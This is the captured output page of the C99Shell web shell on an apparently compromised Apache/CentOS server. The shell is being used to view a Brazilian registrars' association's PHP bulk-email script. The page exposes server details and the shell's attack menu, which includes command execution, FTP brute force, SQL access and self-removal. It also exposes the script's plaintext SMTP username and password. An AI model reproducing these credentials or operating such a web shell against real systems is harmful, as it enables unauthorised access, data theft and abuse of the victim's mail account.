!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/boletos/   drwxr-xr-x
Free 9.43 GB of 93.48 GB (10.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     enviar_comunicados_email.php (4.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?header('Content-Type: text/html; charset=iso-8859-1');?>
<?php
include("../../config/config.php");
include(
INCLUDES "conexaoBD.php");
include(
INCLUDES "sentencas_sql.php");
include(
INCLUDES "funcoes_uteis.php");
include(
INCLUDES "valida_usuario.inc.php");
include(
"boletos_class.php");
require 
__DIR__ '/vendor/autoload.php';
use 
mikehaertl\wkhtmlto\Pdf;

$urlPhpMailer dirname(__FILE__) . "/phpmailer/PHPMailer.php";
require_once(
$urlPhpMailer);

function 
clean($str)
{
    
$trimmed trim($str);
    return 
urlencode($trimmed);
}

//Funções
function EnviaEmailOficio($assunto$texto$email_destino$email_destino2)
{    
    
//$email_destino = "mira@mirasistemas.com.br";            
    
    
$corpo_email "<html>
                            <head>
                                <title>
$assunto</title>
                                <style type=\"text/css\">
                                    body {
                                        font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
                                        font-size: 12px;
                                        text-align: justify;
                                        width: 640px;
                                        max-width: 640px;
                                        margin: auto; 
                                    }
                                </style>
                            </head>
                            <body>" 
                                    
stripslashes($texto) .
                                
"
                            </body>
                        </html>"
;          

    
$mail = new PHPMailer;
    
$mail->From 'contato@arpenpr.org.br';
    
$mail->FromName 'Contato - IRPEN';    
    
$mail->IsSMTP();                                      // Set mailer to use SMTP
    
$mail->Host 'smtp.arpenpr.org.br';
    
$mail->SMTPAuth true;                                    
    
$mail->Username "smtp@arpenpr.org.br";
    
$mail->Password "MydbRokoIrpE1$";
    
$mail->IsHTML(true);   
    
$mail->Subject $assunto;
    
$mail->AddAddress($email_destino);
    
    if(
$email_destino2)
       
$mail->AddAddress($email_destino2);
    
    
$mail->Body $corpo_email;
    
$mail->AddAttachment($anexo);
    
$rs $mail->Send();
    return 
$rs;

}

$assunto "Comunicado IRPEN";

$sql "SELECT CEV_RowId, CON_CPF, CON_Descricao,CID_Descricao, OFI_Endereco, OFI_Cep, OFI_DDD, 
        OFI_Fone, 
        CON_Email, CON_Email2, OFI_RowID, CON_RowID,  OFI_Descricao, OFI_CNPJ
        FROM irp_controle_envio
        INNER JOIN contatos ON CON_RowId = CEV_Oficio_DR
        INNER JOIN oficios ON OFI_RowID = CON_Oficios_DR
        INNER JOIN cidades ON CID_RowID = OFI_Cidades_DR
        where DATE_FORMAT(CEV_DataComunicado,'%d/%m/%Y') = '27/10/2022' and CEV_EmailEnviado = 0 
        and CON_AtivoSN = 'S'
         limit 30"
;

$rsOfi  $conexao->query($sql);

while(
$email_oficio $rsOfi->fetch_array())   
{           
    
$idx            $email_oficio["CEV_RowID"];
    
$cod_oficio     $email_oficio["OFI_RowID"]; 
    
$cod_contato    $email_oficio["CON_RowID"];  
    
$email_contato  $email_oficio["CON_Email"];
    
$email_contato2 $email_oficio["CON_Email2"];
    
$codBoleto      $email_oficio["SVB_RowID"];
    
$dtVencimento   $email_oficio["SVB_DataVencimento"];
    
$valor          $email_oficio["SVB_Valor"];
    
$nossoNumero    $email_oficio["SVB_NossoNumeroWS"];
    
$oficio         $email_oficio["OFI_Descricao"];
    
$endereco       $email_oficio["OFI_Endereco"];
    
$cep            $email_oficio["OFI_Cep"];
    
$cidade         $email_oficio["CID_Descricao"];
    
$cnpj           $email_oficio["OFI_CNPJ"];

    
$texto "<p>Prezados Registradores,<br />
    <br />
          A pedido da Diretoria do IRPEN/PR encaminhamos questionário anexo solicitando que nos informem sobre processos administrativos instaurados especificamente em razão das comunicações de irregularidade do SIRC. Aqueles que não tiverem nenhum procedimento instaurado pedimos que não respondam.
    </p>
    <a href='https://docs.google.com/forms/d/e/1FAIpQLSf-dhR401QxR6sladokmawS7fMYQJOmC26a_yHW4SsfHZYoPg/viewform?usp=pp_url'>Click aqui para responder o questionário</a>
    <br/>

    <br/>

    <br/>

    Diretoria IRPEN.</p>
    "
;


            
$ret null;
            
$ret EnviaEmailOficio($assunto$texto$email_contato$email_contato2);                                
            
            if(
$ret == 1)
            {
                
$sqlz "UPDATE irp_controle_envio SET CEV_EmailEnviado = 1 WHERE CEV_RowID = $idx";
                
$conexao->query($sqlz);
                
$conexao->commit();
                
//echo "\n Email enviado: " . $email_contato;
            
}
            else
            {
               
// echo "\nErro eo enviar Email... " . $email_contato;
            
}



    
//die();
    
sleep(1);        

}


echo 
"\nfim do processo";
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0033 ]--